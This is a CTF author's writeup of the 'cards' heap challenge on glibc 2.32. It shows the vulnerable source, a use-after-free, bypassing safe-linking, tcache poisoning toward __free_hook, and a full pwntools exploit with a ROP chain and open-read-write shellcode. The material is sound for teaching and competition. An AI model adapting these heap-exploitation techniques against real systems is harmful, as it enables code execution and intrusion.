Cards

Posiedon ctf cards writeup, We organized posiedonctf this weekend and i wrote one pwn challenge.

Challenge name - cards

Solves - 9.
                    Cards
points-977
                    [heap]
I want to play cards :( . DO you ?
nc poseidonchalls.westeurope.cloudapp.azure.com 9004
Author : hk
"Glibc version : 2.32"

NOTE[] - The binary had seccomp.
Here is the seccomp rules dump generated by seccomp-tools.

The program uses two structures.

typedef struct cardinfo{
	long int size_name_card;
	long int ncards;
	char *name_of_card;
}CARD_INFO;
typedef struct card{
	long int cardnumber;
	char color[0x8];
	CARD_INFO *card;
	long int iscard;
}CARD;

This is just a typical heap challenge with capabilities, to these operations

1. Add
2. Delete
3. Edit
4. View

UAF

When we delete a card, The iscard member is not initialized and edit function checks for iscard, which pass the check. SO we can edit freed chunk and play around with FD and BK pointers.

Here is the original source code of edit function.

Edit

void edit_name()
{
	unsigned int idx;
	printf("Enter the index of the card: ");
	idx = return_number();
	if(idx>total_cards||!mycard[idx]->iscard) {
		puts("Nope");
		return;
	}
	printf("Enter new name: ");
	read(0,mycard[idx]->card->name_of_card,sizes[idx]);
	puts("Edited");	
}

We can not allocate more than 0x100 size.

Add

Here is the source of Add function
The program uses a global variable to total_cards to keep count of cards to allocate. And limit is total 9 cards.
There is info leak, when it read the name, it doesn't sets the last byte to '\x00' which can be used to leak the pointers.

void add()
{
	unsigned int size;
	if(total_cards>0x8) {
		exit_error("No");
	}
	mycard[total_cards] = (CARD*)malloc(0x28);
	mycard[total_cards]->cardnumber=total_cards;
	printf("Enter size of the name of the card: ");
	size=return_number();
	if(size>0x100){
		exit_error("I'm not sure but you are not allowed to do that");
	}
	mycard[total_cards]->card = (CARD_INFO *)malloc(0x28);
	mycard[total_cards]->card->size_name_card = size;
	mycard[total_cards]->iscard = TRUE;
	mycard[total_cards]->card->name_of_card = malloc(size);
	mycard[total_cards]->card->ncards = total_cards;
	printf("Enter card color: ");
	read(0,mycard[total_cards]->color,0x7);	
	printf("Enter name: ");
	read(0,mycard[total_cards]->card->name_of_card,size);
	printf("Done.\n");
	sizes[total_cards]=size;
	total_cards++;
}

delete

The delete function takes index of the card and free the card. It doesn't initialize the chunk after freeing it leading to information leak.

void delete()
{
	unsigned int idx;
	printf("Enter index of the card: ");
	idx = return_number();
	if(idx>total_cards||checks[idx]){
		puts("No");
		return;
	}
	free(mycard[idx]);
	free(mycard[idx]->card);
	free(mycard[idx]->card->name_of_card);
	checks[idx]=1;
	printf("Done.\n");
}

And the view function takes and idx and prints the chunk info.

However we can't directly overwrite the FD pointer of a freed chunk because tcache in glibc 2.32, introduces safe-linking.

It's just xoring the pointers with help of aslr.
here's the article:
https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/

However this can be bypassed with leaking heap address.

It also introduces alignment checks.

here's the new tcache_put source

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

tcache-get

static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

And some new definations.

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

This can be easily bypassed after getting the heap leak.

So my solution includes.

  1. Leak heap
  2. overwrite fd pointer with tcache-per-thread struct. #UAF-HERE
  3. Keep an 0x100 sized chunk.
  4. get allocation to tcache-per-thread struct.
  5. After getting to tcache-per-thread. Change the tcache[idx] of 0x100 size to 7.
  6. Free 0x100 sized chunk. -> The chunk goes into unsortedbin.
  7. Use edit function to change tcache[idx] of 0x100 to 0. So it doesn't go look into tcache.
  8. Allocate back and get libc leaks. since the pointers are not initialized after freeing the chunk.
  9. Then add __free_hook to tcache-per-thread struct using edit function.
  10. There is a other option which is not shown in menu. Secret-name which reads 0x40 bytes of userdata on to the stack.
  11. So We send our rop-chain there to execute mprotect call on heap. By changing free hook to add_rsp + 0xd8; ret ; ROPgadget.
  12. Then execute our shellcode on heap and open-read-write flag.

exploit

#!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * exe = context.binary = ELF("./cards") def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a,env={"LD_PRELOAD":"./libc-2.32.so"}, **kw) gdbscript = ''' continue '''.format(**locals()) #io = start() io = remote("poseidonchalls.westeurope.cloudapp.azure.com",9004) #######utils def add(size,name): io.sendlineafter("Choice: ","1") io.sendafter("card: ",str(size)) io.sendafter("color: ","HKHKHKH"); io.sendafter("name: ",name) def view(idx): io.sendlineafter("Choice: ","4") io.sendafter("card: ",str(idx)) def remove(idx): io.sendlineafter("Choice: ","2") io.sendafter("card: ",str(idx)) def edit(idx,name): io.sendlineafter("Choice: ","3") io.sendafter("card: ",str(idx)) io.sendafter("name: ",name) def sendrop(rop): io.sendlineafter("Choice: ","6") io.sendafter("name: ",rop) def mask(heapbase,target): return (heapbase >> 0xc) ^ target #------------------------------------------------------ #UAF #Glibc version 2.32 added a new check |chunk should be aligned| and free pointers gets masked. #To bypass, this requires heap leak. #Fast bin attack is now dead because of the alignment check. ##define PROTECT_PTR(pos, ptr) \ # ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr) #------------------------------------------------------ ####Addr main_arena = 0x3b6ba0 free_hook = 0x3b8e80 mprotect = 0xf0830 ####gadgets add_rsp = 0x00077f66 pop_rdi = 0x001273dc pop_rsi = 0x00126117 pop_rdx = 0x000c45ed ####exploit add(0x28,"B"*0x28) #0 remove(0) add(0x28,"A"*14+"BB") #1 view(1) io.recvuntil("BB") heap_base = u64(io.recvn(6)+b"\x00\x00")-0x2d0 print("Heap base: "+hex(heap_base)) add(0xd8,"HKHK")#2 add(0xd8,"HKHK")#3 remove(2) remove(3) target_ptr = mask(heap_base,heap_base+0x10) edit(3,p64(target_ptr)) #uaf add(0xd8,"/home/challenge/flag\x00")#4 add(0xf8,"HKHK")#5 add(0xd8,p64(0x0002000000000400)+p64(0x0)+p64(0x0)+p64(0x0000000700000000))#6 #set tcache-count of chunk 0x101 size to 7 remove(5) #remove chunk and get unsortedbin edit(6,p64(0x00020000000000400)+p64(0x0)*3) #set tcache-count to back to 0 add(0x88,"AAAAAABB")#7 #leak libc now view(7) io.recvuntil("BB") libc_base = u64(io.recvn(6)+b"\x00\x00")-0x3b6c90 print("Libc: "+hex(libc_base)) edit(6,p64(0x00120000000000401)+p64(0x0)*15+p64(libc_base+free_hook)) add(0x18,p64(libc_base+add_rsp))#8 shellcode = asm(f""" xor rax, rax mov al, 0x2 xor rsi, rsi xor rdx, rdx mov rdi, {heap_base+0x4d0} syscall mov r10, rax xor rax, rax mov rdi, r10 mov rsi, {heap_base+0x100} mov rdx, 0x50 syscall mov rax, 0x1 mov rdi, rax syscall mov rax, 0x3c mov rdi, 0x1337 syscall """) edit(7,shellcode) mprotect_rop = p64(libc_base+pop_rdi)+\ p64(heap_base)+\ p64(libc_base+pop_rsi)+\ p64(0x1000)+\ p64(libc_base+pop_rdx)+\ p64(0x7)+\ p64(libc_base+mprotect)+\ p64(heap_base+0x610) sendrop(mprotect_rop) remove(4) io.interactive()

Link to the source-code and exploit: https://github.com/hkraw/posiedonctf-cards